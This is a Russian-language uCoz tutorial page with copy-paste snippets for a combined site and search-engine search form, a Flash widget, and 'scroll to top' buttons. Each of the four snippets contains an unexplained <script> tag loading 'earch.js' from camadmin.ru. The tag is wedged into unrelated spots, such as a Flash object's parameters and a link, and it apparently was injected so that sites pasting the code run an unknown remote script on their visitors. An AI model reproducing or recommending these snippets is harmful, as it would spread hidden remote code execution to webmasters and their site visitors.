Четверг, 25.04.2024, 00:00Приветствую Вас Гость
Регистрация | Вход
RSS
Happy New Year!
Меню сайта
Форма входа
Календарь новостей
«  Март 2013  »
ПнВтСрЧтПтСбВс
    123
45678910
11121314151617
18192021222324
25262728293031
Поиск
Оплаченная реклама
Статистика
Наш опрос
Какой раздел чаще обновлять?
Всего ответов: 103
Главная » 2013 » Март » 03
Форма поиска сайта совмещенная
Усовершенствованный код формы для поиска с возможностью ввести в поиск как на самом сайте так и проставив галочку в поисковых системах yandex.ru и google.com , пример показан на скрине.
Форма работает исправно, как на самом сайте так как она является стандартной , в поисковиках форма создает редирект на страницу поисковика

Установка:Вставляем в любое место сайта полный код самого поиска, настройки почти не требует если только размеры формы ввода для поиска

Код
<style>  
.searchSbmFl {background:#F9F9F9;border:1px solid #999;color:#444;font-family:Verdana, Tahoma, helvetica, sans-serif;font-size:11px;vertical-align:middle;margin:2px;padding:2px;}  
.searchSbmFl:hover {background:#CCC;border:1px solid #888;color:#111;font-family:Verdana, Tahoma, helvetica, sans-serif;font-size:11px;vertical-align:middle;margin:2px;padding:2px;}  
</style>  
<div class="searchForm">  
<form onsubmit="this.sfSbm.disabled=true" method="get" style="margin: 0pt;" action="http://site.ru/search/">  
<div class="schQuery" align="center"><input name="q" maxlength="30" size="30" class="queryField" type="text">  
</div>  
<div class="schBtn" align="center">  
<input class="searchSbmFl" name="sfSbm" value="Найти" type="submit"></div>  
</form>  
</div>  
<script type="text/javascript">  
$('div.searchForm input.searchSbmFl').before('<label for="YandexSearch">Yandex-<input style="height:15px; width:15px; vertical-align: middle;" id="YandexSearch" name="Yandex_search" type="checkbox" /></label>');  
$('div.searchForm form').submit(function(){if($('div.searchForm input#YandexSearch').is(':checked')){window.location = 'http://yandex.ru/yandsearch?text=' + location.host + '' + encodeURIComponent($('div.searchForm input.queryField').val()); return false;}});  
</script><script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<script type="text/javascript">  
$('div.searchForm input.searchSbmFl').before('<label for="GoogSearch">Google-<input style="height:15px; width:15px; vertical-align: middle;" id="GoogSearch" name="google_search" type="checkbox" /></label>');  
$('div.searchForm form').submit(function(){if($('div.searchForm input#GoogSearch').is(':checked')){window.location = 'http://www.google.com/search?sitesearch=' + location.host + '&q=' + encodeURIComponent($('div.searchForm input.queryField').val()); return false;}});  
</script>


http://site.ru/search/ заменяем на ссылку своего сайта или же на тег $HOME_PAGE_LINK$/search/ разницы абсолютно не какой
maxlength="30" количество символов которые разрешено вводить в форму
size="30" размер окна измеряется PX

Задержите пользователя на своем сайте.

установка: куда угодно ставите код

Код
<center><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" id="ball" align="middle" height="200" width="175"><param name="allowScriptAccess" value="sameDomain"><param name="movie" value="http://bambun.ru/images/ball.swf"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><param name="quality" value="high"><param name="bgcolor" value="#ffffff"><embed src="http://bambun.ru/images/bal1l.swf" quality="high" bgcolor="#ffffff" name="ball" allowscriptaccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" align="middle" height="200" width="175"> </object></center>

Сегодня я расскажу как вставить скрипт кнопка “Вверх” на сайт ucoz или блок. Эта кнопка будет очень полезна для Ваших сайтов, блогов или форумов с длинными страницами. Данный скрипт не нагружает сайт или блог и достаточно эффективен.
В самый низ страницы, перед /body :

Код
<!-- <Кнопка Вверх> -->
<script type="text/javascript">
$(document).ready(function(){

   
  $("#back-top").hide();
   
  $(function () {
  $(window).scroll(function () {
   
  if ($(this).scrollTop() > 125) {
  $('#back-top').fadeIn();
   
   
   
  } else {
  $('#back-top').fadeOut();
   
  }
   
   
  });

   
  $('#backop').click(function () {
  $('body,html').animate({
  scrollTop: 0
  }, 800);
  return false;
  });
  });

});
</script>

<script type="text/javascript">
$(window).scroll(function(){
var s = $(window).scrollTop();
var f = $(document).height()-$(window).height();

var d=s/f*100;
var p=Math.round(d);

$("#pix").text(p);

});
</script>

<div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2">
<center><a title="Вверх" id="backop" href="#top"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><img src="http://bambun.ru/images/ups.png" onmouseover="this.src='http://bambun.ru/images/up1.png'" onmouseout="this.src='http://bambun.ru/images/ups.png'"></a></center>
<center><font color="#000000" size="3">
<span id="pix"></span>%</font></center>
</div>
<!-- </Конец> -->

Сегодня я хотел бы Вам рассказать, как вставить скрипт кнопка “Вверх” на сайт ucoz и не только. Эта кнопка будет очень полезна для сайтов, блогов или форумов с длинными страницами. Данный скрипт очень красиво и оригинально смотрится а Вашим посетителям удобно передвигаться по страницам Вашего ресурса.
Перед закрывающимся тегом /head :

Код
<!-- MrScrollUp.Start -->
<script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script>
<script type="text/javascript" src="http://bambun.ru/css_js/MrScrollUp.js"></script>
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/MrScrollUp.css" />
<div id="MrScrollUp" style="display:none;"><div class="MrScrollUp1"></div><div class="MrScrollUp2"></div></div>
<!-- MrScrollUp.End -->


Вот и всё! Я думаю у Вас не возникнет трудностей с установкой данного скрипта.